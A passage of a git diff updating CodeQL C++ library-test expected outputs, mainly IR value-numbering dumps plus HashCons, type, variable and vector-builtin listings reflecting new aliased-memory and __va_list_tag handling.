Constant[0] : -# 44| valnum = r0_24 -# 44| r0_25(glval) = VariableAddress[p2] : -# 44| valnum = r0_6 -# 44| r0_26(int *) = Load : r0_25, m0_7 -# 44| valnum = m0_7 -# 44| mu0_27(int) = Store : r0_26, r0_24 -# 44| valnum = r0_24 -# 45| r0_28(glval) = VariableAddress[p0] : -# 45| valnum = r0_2 -# 45| r0_29(int) = Load : r0_28, m0_3 -# 45| valnum = m0_3 -# 45| r0_30(glval) = VariableAddress[p1] : -# 45| valnum = r0_4 -# 45| r0_31(int) = Load : r0_30, m0_5 -# 45| valnum = m0_5 -# 45| r0_32(int) = Add : r0_29, r0_31 -# 45| valnum = r0_18 -# 45| r0_33(glval) = VariableAddress[global03] : +# 43| r0_22(int) = Add : r0_19, r0_21 +# 43| valnum = r0_22 +# 43| r0_23(glval) = VariableAddress[x] : +# 43| valnum = r0_9 +# 43| m0_24(int) = Store : r0_23, r0_22 +# 43| valnum = r0_22 +# 44| r0_25(int) = Constant[0] : +# 44| valnum = r0_25 +# 44| r0_26(glval) = VariableAddress[p2] : +# 44| valnum = r0_7 +# 44| r0_27(int *) = Load : r0_26, m0_8 +# 44| valnum = m0_8 +# 44| m0_28(int) = Store : r0_27, r0_25 +# 44| valnum = r0_25 +# 44| m0_29(unknown) = Chi : m0_1, m0_28 +# 44| valnum = unique +# 45| r0_30(glval) = VariableAddress[p0] : +# 45| valnum = r0_3 +# 45| r0_31(int) = Load : r0_30, m0_4 +# 45| valnum = m0_4 +# 45| r0_32(glval) = VariableAddress[p1] : +# 45| valnum = r0_5 +# 45| r0_33(int) = Load : r0_32, m0_6 +# 45| valnum = m0_6 +# 45| r0_34(int) = Add : r0_31, r0_33 # 45| valnum = r0_19 -# 45| r0_34(int) = Load : r0_33, mu0_1 +# 45| r0_35(glval) = VariableAddress[global03] : +# 45| valnum = r0_20 +# 45| r0_36(int) = Load : r0_35, mu0_2 # 45| valnum = unique -# 45| r0_35(int) = Add : r0_32, r0_34 -# 45| valnum = r0_35 -# 45| r0_36(glval) = VariableAddress[x] : -# 45| valnum = r0_8 -# 45| m0_37(int) = Store : r0_36, r0_35 -# 45| valnum = r0_35 -# 46| r0_38(glval) = VariableAddress[x] : -# 46| valnum = r0_8 -# 46| r0_39(int) = Load : r0_38, m0_37 -# 46| valnum = r0_35 -# 46| r0_40(glval) = VariableAddress[y] : -# 46| valnum = r0_10 -# 46| m0_41(int) = Store : r0_40, r0_39 -# 46| valnum = r0_35 -# 47| v0_42(void) = NoOp : -# 39| r0_43(glval) = VariableAddress[#return] : +# 45| r0_37(int) = Add : r0_34, r0_36 +# 45| valnum = r0_37 +# 45| r0_38(glval) = VariableAddress[x] : +# 45| valnum = r0_9 +# 45| m0_39(int) = Store : r0_38, r0_37 +# 45| valnum = r0_37 +# 46| r0_40(glval) = VariableAddress[x] : +# 46| valnum = r0_9 +# 46| r0_41(int) = Load : r0_40, m0_39 +# 46| valnum = r0_37 +# 46| r0_42(glval) = VariableAddress[y] : +# 46| valnum = r0_11 +# 46| m0_43(int) = Store : r0_42, r0_41 +# 46| valnum = r0_37 +# 47| v0_44(void) = NoOp : +# 39| r0_45(glval) = VariableAddress[#return] : # 39| valnum = unique -# 39| v0_44(void) = ReturnValue : r0_43 -# 39| v0_45(void) = UnmodeledUse : mu* -# 39| v0_46(void) = ExitFunction : +# 39| v0_46(void) = ReturnValue : r0_45 +# 39| v0_47(void) = UnmodeledUse : mu* +# 39| v0_48(void) = ExitFunction : # 49| my_strspn(const char *, const char *) -> unsigned int # 49| Block 0 # 49| v0_0(void) = EnterFunction : -# 49| mu0_1(unknown) = UnmodeledDefinition : +# 49| m0_1(unknown) = AliasedDefinition : # 49| valnum = unique -# 49| r0_2(glval) = VariableAddress[str] : -# 49| valnum = r0_2 -# 49| m0_3(char *) = InitializeParameter[str] : r0_2 -# 49| valnum = m0_3 -# 49| r0_4(glval) = VariableAddress[chars] : -# 49| valnum = r0_4 -# 49| m0_5(char *) = InitializeParameter[chars] : r0_4 -# 49| valnum = m0_5 -# 50| r0_6(glval) = VariableAddress[ptr] : -# 50| valnum = r0_6 -# 50| m0_7(char *) = Uninitialized : r0_6 +# 49| mu0_2(unknown) = UnmodeledDefinition : +# 49| valnum = unique +# 49| r0_3(glval) = VariableAddress[str] : +# 49| valnum = r0_3 +# 49| m0_4(char *) = InitializeParameter[str] : r0_3 +# 49| valnum = m0_4 +# 49| r0_5(glval) = VariableAddress[chars] : +# 49| valnum = r0_5 +# 49| m0_6(char *) = InitializeParameter[chars] : r0_5 +# 49| valnum = m0_6 +# 50| r0_7(glval) = VariableAddress[ptr] : +# 50| valnum = r0_7 +# 50| m0_8(char *) = Uninitialized[ptr] : r0_7 # 50| valnum = unique -# 51| r0_8(glval) = VariableAddress[result] : -# 51| valnum = r0_8 -# 51| r0_9(unsigned int) = Constant[0] : -# 51| valnum = r0_9 -# 51| m0_10(unsigned int) = Store : r0_8, r0_9 +# 51| r0_9(glval) = VariableAddress[result] : # 51| valnum = r0_9 +# 51| r0_10(unsigned int) = Constant[0] : +# 51| valnum = r0_10 +# 51| m0_11(unsigned int) = Store : r0_9, r0_10 +# 51| valnum = r0_10 #-----| Goto -> Block 1 # 53| Block 1 -# 53| m1_0(unsigned int) = Phi : from 0:m0_10, from 8:m8_4 +# 53| m1_0(unsigned int) = Phi : from 0:m0_11, from 8:m8_4 # 53| valnum = unique # 53| r1_1(glval) = VariableAddress[str] : -# 53| valnum = r0_2 -# 53| r1_2(char *) = Load : r1_1, m0_3 -# 53| valnum = m0_3 -# 53| r1_3(char) = Load : r1_2, mu0_1 +# 53| valnum = r0_3 +# 53| r1_2(char *) = Load : r1_1, m0_4 +# 53| valnum = m0_4 +# 53| r1_3(char) = Load : r1_2, m0_1 # 53| valnum = unique # 53| r1_4(int) = Convert : r1_3 # 53| valnum = unique @@ -368,31 +384,31 @@ test.cpp: # 55| Block 2 # 55| r2_0(glval) = VariableAddress[chars] : -# 55| valnum = r0_4 -# 55| r2_1(char *) = Load : r2_0, m0_5 -# 55| valnum = m0_5 +# 55| valnum = r0_5 +# 55| r2_1(char *) = Load : r2_0, m0_6 +# 55| valnum = m0_6 # 55| r2_2(glval) = VariableAddress[ptr] : -# 55| valnum = r0_6 +# 55| valnum = r0_7 # 55| m2_3(char *) = Store : r2_2, r2_1 -# 55| valnum = m0_5 +# 55| valnum = m0_6 #-----| Goto -> Block 3 # 56| Block 3 # 56| m3_0(char *) = Phi : from 2:m2_3, from 5:m5_4 # 56| valnum = unique # 56| r3_1(glval) = VariableAddress[ptr] : -# 56| valnum = r0_6 +# 56| valnum = r0_7 # 56| r3_2(char *) = Load : r3_1, m3_0 # 56| valnum = unique -# 56| r3_3(char) = Load : r3_2, mu0_1 +# 56| r3_3(char) = Load : r3_2, m0_1 # 56| valnum = unique # 56| r3_4(int) = Convert : r3_3 # 56| valnum = unique # 56| r3_5(glval) = VariableAddress[str] : -# 56| valnum = r0_2 -# 56| r3_6(char *) = Load : r3_5, m0_3 -# 56| valnum = m0_3 -# 56| r3_7(char) = Load : r3_6, mu0_1 +# 56| valnum = r0_3 +# 56| r3_6(char *) = Load : r3_5, m0_4 +# 56| valnum = m0_4 +# 56| r3_7(char) = Load : r3_6, m0_1 # 56| valnum = unique # 56| r3_8(int) = Convert : r3_7 # 56| valnum = unique @@ -404,10 +420,10 @@ test.cpp: # 56| Block 4 # 56| r4_0(glval) = VariableAddress[ptr] : -# 56| valnum = r0_6 +# 56| valnum = r0_7 # 56| r4_1(char *) = Load : r4_0, m3_0 # 56| valnum = unique -# 56| r4_2(char) = Load : r4_1, mu0_1 +# 56| r4_2(char) = Load : r4_1, m0_1 # 56| valnum = unique # 56| r4_3(int) = Convert : r4_2 # 56| valnum = unique @@ -421,7 +437,7 @@ test.cpp: # 56| Block 5 # 56| r5_0(glval) = VariableAddress[ptr] : -# 56| valnum = r0_6 +# 56| valnum = r0_7 # 56| r5_1(char *) = Load : r5_0, m3_0 # 56| valnum = unique # 56| r5_2(int) = Constant[1] : @@ -434,10 +450,10 @@ test.cpp: # 59| Block 6 # 59| r6_0(glval) = VariableAddress[ptr] : -# 59| valnum = r0_6 +# 59| valnum = r0_7 # 59| r6_1(char *) = Load : r6_0, m3_0 # 59| valnum = unique -# 59| r6_2(char) = Load : r6_1, mu0_1 +# 59| r6_2(char) = Load : r6_1, m0_1 # 59| valnum = unique # 59| r6_3(int) = Convert : r6_2 # 59| valnum = unique @@ -455,7 +471,7 @@ test.cpp: # 62| Block 8 # 62| r8_0(glval) = VariableAddress[result] : -# 62| valnum = r0_8 +# 62| valnum = r0_9 # 62| r8_1(unsigned int) = Load : r8_0, m1_0 # 62| valnum = unique # 62| r8_2(unsigned int) = Constant[1] : @@ -471,7 +487,7 @@ test.cpp: # 65| r9_1(glval) = VariableAddress[#return] : # 65| valnum = r9_1 # 65| r9_2(glval) = VariableAddress[result] : -# 65| valnum = r0_8 +# 65| valnum = r0_9 # 65| r9_3(unsigned int) = Load : r9_2, m1_0 # 65| valnum = r9_3 # 65| m9_4(unsigned int) = Store : r9_1, r9_3 @@ -485,53 +501,59 @@ test.cpp: # 75| test04(two_values *) -> void # 75| Block 0 # 75| v0_0(void) = EnterFunction : -# 75| mu0_1(unknown) = UnmodeledDefinition : +# 75| m0_1(unknown) = AliasedDefinition : # 75| valnum = unique -# 75| r0_2(glval) = VariableAddress[vals] : -# 75| valnum = r0_2 -# 75| m0_3(two_values *) = InitializeParameter[vals] : r0_2 -# 75| valnum = m0_3 -# 77| r0_4(glval) = VariableAddress[v] : -# 77| valnum = r0_4 -# 77| r0_5(glval) = FunctionAddress[getAValue] : +# 75| mu0_2(unknown) = UnmodeledDefinition : +# 75| valnum = unique +# 75| r0_3(glval) = VariableAddress[vals] : +# 75| valnum = r0_3 +# 75| m0_4(two_values *) = InitializeParameter[vals] : r0_3 +# 75| valnum = m0_4 +# 77| r0_5(glval) = VariableAddress[v] : +# 77| valnum = r0_5 +# 77| r0_6(glval) = FunctionAddress[getAValue] : # 77| valnum = unique -# 77| r0_6(int) = Call : r0_5 +# 77| r0_7(int) = Call : r0_6 # 77| valnum = unique -# 77| r0_7(signed short) = Convert : r0_6 -# 77| valnum = r0_7 -# 77| m0_8(signed short) = Store : r0_4, r0_7 -# 77| valnum = r0_7 -# 79| r0_9(glval) = VariableAddress[v] : -# 79| valnum = r0_4 -# 79| r0_10(signed short) = Load : r0_9, m0_8 -# 79| valnum = r0_7 -# 79| r0_11(int) = Convert : r0_10 +# 77| m0_8(unknown) = ^CallSideEffect : m0_1 +# 77| valnum = unique +# 77| m0_9(unknown) = Chi : m0_1, m0_8 +# 77| valnum = unique +# 77| r0_10(signed short) = Convert : r0_7 +# 77| valnum = r0_10 +# 77| m0_11(signed short) = Store : r0_5, r0_10 +# 77| valnum = r0_10 +# 79| r0_12(glval) = VariableAddress[v] : +# 79| valnum = r0_5 +# 79| r0_13(signed short) = Load : r0_12, m0_11 +# 79| valnum = r0_10 +# 79| r0_14(int) = Convert : r0_13 # 79| valnum = unique -# 79| r0_12(glval) = VariableAddress[vals] : -# 79| valnum = r0_2 -# 79| r0_13(two_values *) = Load : r0_12, m0_3 -# 79| valnum = m0_3 -# 79| r0_14(glval) = FieldAddress[val1] : r0_13 +# 79| r0_15(glval) = VariableAddress[vals] : +# 79| valnum = r0_3 +# 79| r0_16(two_values *) = Load : r0_15, m0_4 +# 79| valnum = m0_4 +# 79| r0_17(glval) = FieldAddress[val1] : r0_16 # 79| valnum = unique -# 79| r0_15(signed short) = Load : r0_14, mu0_1 +# 79| r0_18(signed short) = Load : r0_17, m0_9 # 79| valnum = unique -# 79| r0_16(int) = Convert : r0_15 +# 79| r0_19(int) = Convert : r0_18 # 79| valnum = unique -# 79| r0_17(glval) = VariableAddress[vals] : -# 79| valnum = r0_2 -# 79| r0_18(two_values *) = Load : r0_17, m0_3 -# 79| valnum = m0_3 -# 79| r0_19(glval) = FieldAddress[val2] : r0_18 +# 79| r0_20(glval) = VariableAddress[vals] : +# 79| valnum = r0_3 +# 79| r0_21(two_values *) = Load : r0_20, m0_4 +# 79| valnum = m0_4 +# 79| r0_22(glval) = FieldAddress[val2] : r0_21 # 79| valnum = unique -# 79| r0_20(signed short) = Load : r0_19, mu0_1 +# 79| r0_23(signed short) = Load : r0_22, m0_9 # 79| valnum = unique -# 79| r0_21(int) = Convert : r0_20 +# 79| r0_24(int) = Convert : r0_23 # 79| valnum = unique -# 79| r0_22(int) = Add : r0_16, r0_21 +# 79| r0_25(int) = Add : r0_19, r0_24 # 79| valnum = unique -# 79| r0_23(bool) = CompareLT : r0_11, r0_22 +# 79| r0_26(bool) = CompareLT : r0_14, r0_25 # 79| valnum = unique -# 79| v0_24(void) = ConditionalBranch : r0_23 +# 79| v0_27(void) = ConditionalBranch : r0_26 #-----| False -> Block 2 #-----| True -> Block 1 @@ -540,12 +562,16 @@ test.cpp: # 80| valnum = unique # 80| r1_1(int) = Call : r1_0 # 80| valnum = unique -# 80| r1_2(signed short) = Convert : r1_1 -# 80| valnum = r1_2 -# 80| r1_3(glval) = VariableAddress[v] : -# 80| valnum = r0_4 -# 80| m1_4(signed short) = Store : r1_3, r1_2 -# 80| valnum = r1_2 +# 80| m1_2(unknown) = ^CallSideEffect : m0_9 +# 80| valnum = unique +# 80| m1_3(unknown) = Chi : m0_9, m1_2 +# 80| valnum = unique +# 80| r1_4(signed short) = Convert : r1_1 +# 80| valnum = r1_4 +# 80| r1_5(glval) = VariableAddress[v] : +# 80| valnum = r0_5 +# 80| m1_6(signed short) = Store : r1_5, r1_4 +# 80| valnum = r1_4 #-----| Goto -> Block 2 # 82| Block 2 @@ -557,56 +583,58 @@ test.cpp: # 84| test05(int, int, void *) -> void # 84| Block 0 # 84| v0_0(void) = EnterFunction : -# 84| mu0_1(unknown) = UnmodeledDefinition : +# 84| m0_1(unknown) = AliasedDefinition : # 84| valnum = unique -# 84| r0_2(glval) = VariableAddress[x] : -# 84| valnum = r0_2 -# 84| m0_3(int) = InitializeParameter[x] : r0_2 -# 84| valnum = m0_3 -# 84| r0_4(glval) = VariableAddress[y] : -# 84| valnum = r0_4 -# 84| m0_5(int) = InitializeParameter[y] : r0_4 -# 84| valnum = m0_5 -# 84| r0_6(glval) = VariableAddress[p] : -# 84| valnum = r0_6 -# 84| m0_7(void *) = InitializeParameter[p] : r0_6 -# 84| valnum = m0_7 -# 86| r0_8(glval) = VariableAddress[v] : -# 86| valnum = r0_8 -# 86| m0_9(int) = Uninitialized : r0_8 +# 84| mu0_2(unknown) = UnmodeledDefinition : +# 84| valnum = unique +# 84| r0_3(glval) = VariableAddress[x] : +# 84| valnum = r0_3 +# 84| m0_4(int) = InitializeParameter[x] : r0_3 +# 84| valnum = m0_4 +# 84| r0_5(glval) = VariableAddress[y] : +# 84| valnum = r0_5 +# 84| m0_6(int) = InitializeParameter[y] : r0_5 +# 84| valnum = m0_6 +# 84| r0_7(glval) = VariableAddress[p] : +# 84| valnum = r0_7 +# 84| m0_8(void *) = InitializeParameter[p] : r0_7 +# 84| valnum = m0_8 +# 86| r0_9(glval) = VariableAddress[v] : +# 86| valnum = r0_9 +# 86| m0_10(int) = Uninitialized[v] : r0_9 # 86| valnum = unique -# 88| r0_10(glval) = VariableAddress[p] : -# 88| valnum = r0_6 -# 88| r0_11(void *) = Load : r0_10, m0_7 -# 88| valnum = m0_7 -# 88| r0_12(void *) = Constant[0] : +# 88| r0_11(glval) = VariableAddress[p] : +# 88| valnum = r0_7 +# 88| r0_12(void *) = Load : r0_11, m0_8 +# 88| valnum = m0_8 +# 88| r0_13(void *) = Constant[0] : # 88| valnum = unique -# 88| r0_13(bool) = CompareNE : r0_11, r0_12 +# 88| r0_14(bool) = CompareNE : r0_12, r0_13 # 88| valnum = unique -# 88| v0_14(void) = ConditionalBranch : r0_13 +# 88| v0_15(void) = ConditionalBranch : r0_14 #-----| False -> Block 2 #-----| True -> Block 1 # 88| Block 1 # 88| r1_0(glval) = VariableAddress[x] : -# 88| valnum = r0_2 -# 88| r1_1(int) = Load : r1_0, m0_3 -# 88| valnum = m0_3 +# 88| valnum = r0_3 +# 88| r1_1(int) = Load : r1_0, m0_4 +# 88| valnum = m0_4 # 88| r1_2(glval) = VariableAddress[#temp88:7] : # 88| valnum = r1_2 # 88| m1_3(int) = Store : r1_2, r1_1 -# 88| valnum = m0_3 +# 88| valnum = m0_4 #-----| Goto -> Block 3 # 88| Block 2 # 88| r2_0(glval) = VariableAddress[y] : -# 88| valnum = r0_4 -# 88| r2_1(int) = Load : r2_0, m0_5 -# 88| valnum = m0_5 +# 88| valnum = r0_5 +# 88| r2_1(int) = Load : r2_0, m0_6 +# 88| valnum = m0_6 # 88| r2_2(glval) = VariableAddress[#temp88:7] : # 88| valnum = r1_2 # 88| m2_3(int) = Store : r2_2, r2_1 -# 88| valnum = m0_5 +# 88| valnum = m0_6 #-----| Goto -> Block 3 # 88| Block 3 @@ -617,7 +645,7 @@ test.cpp: # 88| r3_2(int) = Load : r3_1, m3_0 # 88| valnum = r3_2 # 88| r3_3(glval) = VariableAddress[v] : -# 88| valnum = r0_8 +# 88| valnum = r0_9 # 88| m3_4(int) = Store : r3_3, r3_2 # 88| valnum = r3_2 # 89| v3_5(void) = NoOp : @@ -628,87 +656,91 @@ test.cpp: # 91| regression_test00() -> int # 91| Block 0 # 91| v0_0(void) = EnterFunction : -# 91| mu0_1(unknown) = UnmodeledDefinition : +# 91| m0_1(unknown) = AliasedDefinition : # 91| valnum = unique -# 92| r0_2(glval) = VariableAddress[x] : -# 92| valnum = r0_2 -# 92| r0_3(int) = Constant[10] : +# 91| mu0_2(unknown) = UnmodeledDefinition : +# 91| valnum = unique +# 92| r0_3(glval) = VariableAddress[x] : # 92| valnum = r0_3 -# 92| r0_4(glval) = VariableAddress[x] : -# 92| valnum = r0_2 -# 92| m0_5(int) = Store : r0_4, r0_3 +# 92| r0_4(int) = Constant[10] : +# 92| valnum = r0_4 +# 92| r0_5(glval) = VariableAddress[x] : # 92| valnum = r0_3 -# 92| m0_6(int) = Store : r0_2, r0_3 -# 92| valnum = r0_3 -# 93| r0_7(glval) = VariableAddress[#return] : -# 93| valnum = r0_7 -# 93| r0_8(glval) = VariableAddress[x] : -# 93| valnum = r0_2 -# 93| r0_9(int) = Load : r0_8, m0_6 +# 92| m0_6(int) = Store : r0_5, r0_4 +# 92| valnum = r0_4 +# 92| m0_7(int) = Store : r0_3, r0_4 +# 92| valnum = r0_4 +# 93| r0_8(glval) = VariableAddress[#return] : +# 93| valnum = r0_8 +# 93| r0_9(glval) = VariableAddress[x] : # 93| valnum = r0_3 -# 93| m0_10(int) = Store : r0_7, r0_9 -# 93| valnum = r0_3 -# 91| r0_11(glval) = VariableAddress[#return] : -# 91| valnum = r0_7 -# 91| v0_12(void) = ReturnValue : r0_11, m0_10 -# 91| v0_13(void) = UnmodeledUse : mu* -# 91| v0_14(void) = ExitFunction : +# 93| r0_10(int) = Load : r0_9, m0_7 +# 93| valnum = r0_4 +# 93| m0_11(int) = Store : r0_8, r0_10 +# 93| valnum = r0_4 +# 91| r0_12(glval) = VariableAddress[#return] : +# 91| valnum = r0_8 +# 91| v0_13(void) = ReturnValue : r0_12, m0_11 +# 91| v0_14(void) = UnmodeledUse : mu* +# 91| v0_15(void) = ExitFunction : # 104| inheritanceConversions(Derived *) -> int # 104| Block 0 # 104| v0_0(void) = EnterFunction : -# 104| mu0_1(unknown) = UnmodeledDefinition : +# 104| m0_1(unknown) = AliasedDefinition : # 104| valnum = unique -# 104| r0_2(glval) = VariableAddress[pd] : -# 104| valnum = r0_2 -# 104| m0_3(Derived *) = InitializeParameter[pd] : r0_2 -# 104| valnum = m0_3 -# 105| r0_4(glval) = VariableAddress[x] : +# 104| mu0_2(unknown) = UnmodeledDefinition : +# 104| valnum = unique +# 104| r0_3(glval) = VariableAddress[pd] : +# 104| valnum = r0_3 +# 104| m0_4(Derived *) = InitializeParameter[pd] : r0_3 +# 104| valnum = m0_4 +# 105| r0_5(glval) = VariableAddress[x] : # 105| valnum = unique -# 105| r0_5(glval) = VariableAddress[pd] : -# 105| valnum = r0_2 -# 105| r0_6(Derived *) = Load : r0_5, m0_3 -# 105| valnum = m0_3 -# 105| r0_7(Base *) = ConvertToBase[Derived : Base] : r0_6 -# 105| valnum = r0_7 -# 105| r0_8(glval) = FieldAddress[b] : r0_7 +# 105| r0_6(glval) = VariableAddress[pd] : +# 105| valnum = r0_3 +# 105| r0_7(Derived *) = Load : r0_6, m0_4 +# 105| valnum = m0_4 +# 105| r0_8(Base *) = ConvertToBase[Derived : Base] : r0_7 # 105| valnum = r0_8 -# 105| r0_9(int) = Load : r0_8, mu0_1 +# 105| r0_9(glval) = FieldAddress[b] : r0_8 # 105| valnum = r0_9 -# 105| m0_10(int) = Store : r0_4, r0_9 -# 105| valnum = r0_9 -# 106| r0_11(glval) = VariableAddress[pb] : -# 106| valnum = r0_11 -# 106| r0_12(glval) = VariableAddress[pd] : -# 106| valnum = r0_2 -# 106| r0_13(Derived *) = Load : r0_12, m0_3 -# 106| valnum = m0_3 -# 106| r0_14(Base *) = ConvertToBase[Derived : Base] : r0_13 -# 106| valnum = r0_7 -# 106| m0_15(Base *) = Store : r0_11, r0_14 -# 106| valnum = r0_7 -# 107| r0_16(glval) = VariableAddress[y] : -# 107| valnum = r0_16 -# 107| r0_17(glval) = VariableAddress[pb] : -# 107| valnum = r0_11 -# 107| r0_18(Base *) = Load : r0_17, m0_15 -# 107| valnum = r0_7 -# 107| r0_19(glval) = FieldAddress[b] : r0_18 +# 105| r0_10(int) = Load : r0_9, m0_1 +# 105| valnum = r0_10 +# 105| m0_11(int) = Store : r0_5, r0_10 +# 105| valnum = r0_10 +# 106| r0_12(glval) = VariableAddress[pb] : +# 106| valnum = r0_12 +# 106| r0_13(glval) = VariableAddress[pd] : +# 106| valnum = r0_3 +# 106| r0_14(Derived *) = Load : r0_13, m0_4 +# 106| valnum = m0_4 +# 106| r0_15(Base *) = ConvertToBase[Derived : Base] : r0_14 +# 106| valnum = r0_8 +# 106| m0_16(Base *) = Store : r0_12, r0_15 +# 106| valnum = r0_8 +# 107| r0_17(glval) = VariableAddress[y] : +# 107| valnum = r0_17 +# 107| r0_18(glval) = VariableAddress[pb] : +# 107| valnum = r0_12 +# 107| r0_19(Base *) = Load : r0_18, m0_16 # 107| valnum = r0_8 -# 107| r0_20(int) = Load : r0_19, mu0_1 -# 107| valnum = r0_20 -# 107| m0_21(int) = Store : r0_16, r0_20 -# 107| valnum = r0_20 -# 109| r0_22(glval) = VariableAddress[#return] : -# 109| valnum = r0_22 -# 109| r0_23(glval) = VariableAddress[y] : -# 109| valnum = r0_16 -# 109| r0_24(int) = Load : r0_23, m0_21 -# 109| valnum = r0_20 -# 109| m0_25(int) = Store : r0_22, r0_24 -# 109| valnum = r0_20 -# 104| r0_26(glval) = VariableAddress[#return] : -# 104| valnum = r0_22 -# 104| v0_27(void) = ReturnValue : r0_26, m0_25 -# 104| v0_28(void) = UnmodeledUse : mu* -# 104| v0_29(void) = ExitFunction : +# 107| r0_20(glval) = FieldAddress[b] : r0_19 +# 107| valnum = r0_9 +# 107| r0_21(int) = Load : r0_20, m0_1 +# 107| valnum = r0_21 +# 107| m0_22(int) = Store : r0_17, r0_21 +# 107| valnum = r0_21 +# 109| r0_23(glval) = VariableAddress[#return] : +# 109| valnum = r0_23 +# 109| r0_24(glval) = VariableAddress[y] : +# 109| valnum = r0_17 +# 109| r0_25(int) = Load : r0_24, m0_22 +# 109| valnum = r0_21 +# 109| m0_26(int) = Store : r0_23, r0_25 +# 109| valnum = r0_21 +# 104| r0_27(glval) = VariableAddress[#return] : +# 104| valnum = r0_23 +# 104| v0_28(void) = ReturnValue : r0_27, m0_26 +# 104| v0_29(void) = UnmodeledUse : mu* +# 104| v0_30(void) = ExitFunction : diff --git a/cpp/ql/test/library-tests/valuenumbering/HashCons/HashCons.expected b/cpp/ql/test/library-tests/valuenumbering/HashCons/HashCons.expected index c050ac2bffd..e051dc37506 100644 --- a/cpp/ql/test/library-tests/valuenumbering/HashCons/HashCons.expected +++ b/cpp/ql/test/library-tests/valuenumbering/HashCons/HashCons.expected @@ -67,10 +67,10 @@ | test.cpp:156:3:156:9 | 0 | 156:c14-c20 156:c3-c9 157:c10-c16 | | test.cpp:171:3:171:6 | (int)... | 171:c3-c6 172:c3-c6 | | test.cpp:171:3:171:6 | e1x1 | 171:c3-c6 172:c3-c6 | -| test.cpp:179:10:179:22 | (...) | 179:c10-c22 179:c10-c22 | -| test.cpp:179:17:179:17 | y | 179:c17-c17 179:c17-c17 | -| test.cpp:179:17:179:21 | ... + ... | 179:c17-c21 179:c17-c21 | -| test.cpp:185:17:185:17 | y | 185:c17-c17 185:c17-c17 | +| test.cpp:179:10:179:22 | (...) | 179:c10-c22 | +| test.cpp:179:17:179:17 | y | 179:c17-c17 | +| test.cpp:179:17:179:21 | ... + ... | 179:c17-c21 | +| test.cpp:185:17:185:17 | y | 185:c17-c17 | | test.cpp:202:3:202:18 | sizeof(padded_t) | 202:c3-c18 204:c3-c18 | | test.cpp:205:24:205:34 | sizeof(int) | 205:c24-c34 245:c25-c35 246:c25-c35 | | test.cpp:206:3:206:21 | alignof(int_holder) | 206:c25-c43 206:c3-c21 | @@ -109,6 +109,7 @@ | test.cpp:271:15:271:15 | 3 | 265:c28-c28 271:c15-c15 35:c16-c16 | | test.cpp:273:3:273:12 | new[] | 273:c3-c12 274:c3-c12 | | test.cpp:273:11:273:11 | x | 273:c11-c11 274:c11-c11 | +| test.cpp:284:15:287:3 | {...} | 284:c15-c3 288:c15-c3 | | test.cpp:285:5:285:5 | 1 | 103:c10-c11 104:c7-c7 107:c7-c7 108:c7-c7 10:c16-c16 179:c21-c21 239:c11-c11 240:c11-c11 263:c28-c28 264:c28-c28 266:c19-c19 266:c22-c22 285:c5-c5 289:c5-c5 294:c5-c5 299:c9-c9 300:c9-c9 310:c5-c5 311:c5-c5 313:c5-c5 | | test.cpp:286:5:286:5 | 2 | 105:c7-c7 106:c7-c7 107:c11-c11 108:c11-c11 21:c16-c16 241:c11-c11 263:c24-c24 263:c31-c31 264:c24-c24 264:c31-c31 265:c24-c24 266:c15-c15 267:c15-c15 267:c19-c19 267:c22-c22 269:c15-c15 270:c15-c15 286:c5-c5 290:c5-c5 293:c5-c5 301:c9-c9 302:c9-c9 | | test.cpp:299:3:299:9 | throw ... | 299:c3-c9 300:c3-c9 | diff --git a/cpp/ql/test/library-tests/variables/variables/types.expected b/cpp/ql/test/library-tests/variables/variables/types.expected index 2cdacdc8608..f239d276871 100644 --- a/cpp/ql/test/library-tests/variables/variables/types.expected +++ b/cpp/ql/test/library-tests/variables/variables/types.expected @@ -20,6 +20,7 @@ | __int128 | Int128Type | | | | | | __va_list_tag | DirectAccessHolder, MetricClass, Struct, StructLikeClass | | | | | | __va_list_tag & | LValueReferenceType | | __va_list_tag | | | +| __va_list_tag && | RValueReferenceType | | __va_list_tag | | | | address | DirectAccessHolder, MetricClass, Struct, StructLikeClass | | | | | | address & | LValueReferenceType | | address | | | | address && | RValueReferenceType | | address | | | @@ -41,6 +42,8 @@ | char[10] | ArrayType | char | char | | | | char[53] | ArrayType | char | char | | | | char[] | ArrayType | char | char | | | +| const __va_list_tag | SpecifiedType | | __va_list_tag | | | +| const __va_list_tag & | LValueReferenceType | | const __va_list_tag | | | | const address | SpecifiedType | | address | | | | const address & | LValueReferenceType | | const address | | | | const char | SpecifiedType | | char | | | diff --git a/cpp/ql/test/library-tests/variables/variables/variable.expected b/cpp/ql/test/library-tests/variables/variables/variable.expected index d74162db440..0599d840068 100644 --- a/cpp/ql/test/library-tests/variables/variables/variable.expected +++ b/cpp/ql/test/library-tests/variables/variables/variable.expected @@ -1,8 +1,12 @@ | file://:0:0:0:0 | fp_offset | file://:0:0:0:0 | unsigned int | Field | | | | file://:0:0:0:0 | gp_offset | file://:0:0:0:0 | unsigned int | Field | | | | file://:0:0:0:0 | overflow_arg_area | file://:0:0:0:0 | void * | Field | | | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | __va_list_tag && | SemanticStackVariable | | | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | __va_list_tag && | StackVariable | | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | address && | SemanticStackVariable | | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | address && | StackVariable | | | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const __va_list_tag & | SemanticStackVariable | | | +| file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const __va_list_tag & | StackVariable | | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const address & | SemanticStackVariable | | | | file://:0:0:0:0 | p#0 | file://:0:0:0:0 | const address & | StackVariable | | | | file://:0:0:0:0 | reg_save_area | file://:0:0:0:0 | void * | Field | | | diff --git a/cpp/ql/test/library-tests/vector_types/builtin_ops.expected b/cpp/ql/test/library-tests/vector_types/builtin_ops.expected index 84950bc9b21..2c0dd9d0017 100644 --- a/cpp/ql/test/library-tests/vector_types/builtin_ops.expected +++ b/cpp/ql/test/library-tests/vector_types/builtin_ops.expected @@ -1 +1,2 @@ | vector_types.cpp:31:13:31:49 | __builtin_shufflevector | +| vector_types.cpp:58:10:58:52 | __builtin_convertvector | diff --git a/cpp/ql/test/library-tests/vector_types/fill.expected b/cpp/ql/test/library-tests/vector_types/fill.expected new file mode 100644 index 00000000000..28284295c23 --- /dev/null +++ b/cpp/ql/test/library-tests/vector_types/fill.expected @@ -0,0 +1 @@ +| vector_types.cpp:51:18:51:18 | (vector fill) ... | file://:0:0:0:0 | 